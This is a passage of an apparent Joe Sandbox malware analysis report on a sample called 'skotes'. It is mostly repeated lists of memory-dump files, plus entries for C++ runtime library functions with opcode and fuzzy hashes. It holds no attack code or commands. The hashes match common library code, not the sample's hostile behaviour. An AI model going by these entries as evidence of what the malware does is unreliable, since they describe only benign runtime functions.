Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 9df37b25b52398150967001dbc33fb713c644b648571b76a85eb43c5ed7b311a
Instruction ID: 8371840ca426c8650e3cd2751560e71af1da2e686f461f7caa88d66e0d372685
Opcode Fuzzy Hash: 9df37b25b52398150967001dbc33fb713c644b648571b76a85eb43c5ed7b311a
Instruction Fuzzy Hash: 4841CF30A042449ADF55EFA0A4557ED7BA7AF11304F1440ADE9426F3C3CB758E09CBEA

Function 0063E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0063E7D7

Part of subcall function 0063E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0063E577
Part of subcall function 0063E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0063E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0063E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0063E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0063E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0063E879
Concurrency::location::_Assign.LIBCMT ref: 0063E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0063E8B5

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 7ee3fbf7a2b930a22ac8d3b490863cb2751a5cab5075a3c5445c6f92601d3f86
Instruction ID: 6433d37b2479b1e8ef1437ae5510f135ea6c7e280728ad7e710fc7683b2410bb
Opcode Fuzzy Hash: 7ee3fbf7a2b930a22ac8d3b490863cb2751a5cab5075a3c5445c6f92601d3f86
Instruction Fuzzy Hash: E7411875A002149FCF45EF64C895AADB7BAFF48310F1480A9ED499B382DB70A941CFE1

Function 00626E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00626ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00626F22
std::_Rethrow_future_exception.LIBCPMT ref: 00626F32
__Mtx_unlock.LIBCPMT ref: 00626FD5
__Mtx_unlock.LIBCPMT ref: 006270DB
__Mtx_unlock.LIBCPMT ref: 00627116

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 1509de0fda62cd73dae3813a430bedbf9c431fdace6f13eefb18c7b030efe23f
Instruction ID: 0fd07bc90890bb0ff3c63c794d87c6a3036afb57c1e400be8c37c2b05bc23285
Opcode Fuzzy Hash: 1509de0fda62cd73dae3813a430bedbf9c431fdace6f13eefb18c7b030efe23f
Instruction Fuzzy Hash: D8C1D2B0904A25DBDF20DF64E945BEEBBB6EF04310F04452DE81697781EB31A948CF62

Function 006344DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00634538
ListArray.LIBCONCRT ref: 0063456C
Hash.LIBCMT ref: 006345D5
Hash.LIBCMT ref: 006345E5

Part of subcall function 00639C41: std::bad_exception::bad_exception.LIBCMT ref: 00639C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 0063474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 006347A4

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 6cc3baa8eea0e5a980ae2340825fb768cc3b6929ec8655008608138bb69f30d5
Instruction ID: 5cdeb9ff8a6517232b2a92a8ede7f9719eb36bb91a7c7e89378cf7cd17f59d82
Opcode Fuzzy Hash: 6cc3baa8eea0e5a980ae2340825fb768cc3b6929ec8655008608138bb69f30d5
Instruction Fuzzy Hash: 49816FB0A11B22BBD748DF74C845BD9FAA9BF09700F10421EF42897281DBB5B624CBD5

Function 0062ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0062ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0062ED17

Part of subcall function 0062F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0062F3FA

__alloca_probe_16.LIBCMT ref: 0062ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0062ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0062EDC6
__freea.LIBCMT ref: 0062EDEC

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: cc069f2b7ecf62d08a816ba9483a368def90b0090dabb2ab3b041eb9469ba417
Instruction ID: af20491b38c32bf02477deac9eefe5a2d1a6bc10227a8d1ed46a9e14863b81aa
Opcode Fuzzy Hash: cc069f2b7ecf62d08a816ba9483a368def90b0090dabb2ab3b041eb9469ba417
Instruction Fuzzy Hash: 6B319C71E00A258FDB14DFA8D8415EDB7B6AF09310B24447EE805EB380DB719E028FA4

Function 0064CBDF Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0064CC66

Strings

vd, xrefs: 0064CBE1

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
